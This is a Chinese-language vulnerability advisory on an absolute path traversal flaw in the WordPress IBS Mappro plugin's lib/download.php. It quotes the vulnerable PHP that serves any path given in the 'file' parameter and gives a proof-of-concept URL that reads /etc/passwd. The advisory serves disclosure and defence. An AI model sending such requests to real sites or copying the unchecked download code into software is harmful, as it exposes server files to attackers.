<p>WordPress是WordPress软件基金会的一套使用PHP语言开发的博客平台,该平台支持在PHP和MySQL的服务器上架设个人博客网站。IBS Mappro是其中的一个旅游地图编辑器和查看器插件。 WordPress IBS Mappro插件1.0之前版本中的lib/download.php文件中存在绝对路径遍历漏洞。远程攻击者可借助‘file’参数中的完整路径名利用该漏洞读取任意文件。</p><p>影响产品:WordPress IBS Mappro plugin <1.0</p><p>这段代码允许用户下载任意文件</p><pre class="lang-php" data-lang="php"><br>if (isset($_GET)) {
$filename = $_GET['file'];
$info = pathinfo($filename);
$name = $info['basename'];
if (file_exists($filename)) {
header('Set-Cookie: fileDownload=true; path=/');
header('Cache-Control: max-age=60, must-revalidate');
header('Content-Disposition: attachment; filename="' . $title . '-' . $timestamp . '.csv"');
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $name . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
} else {
die;
}
} else {
die;
}
?></pre><p><br></p><p>http://example.com/wp-content/plugins/ibs-mappro/lib/download.php?file=/etc/passwd</p>
暂无评论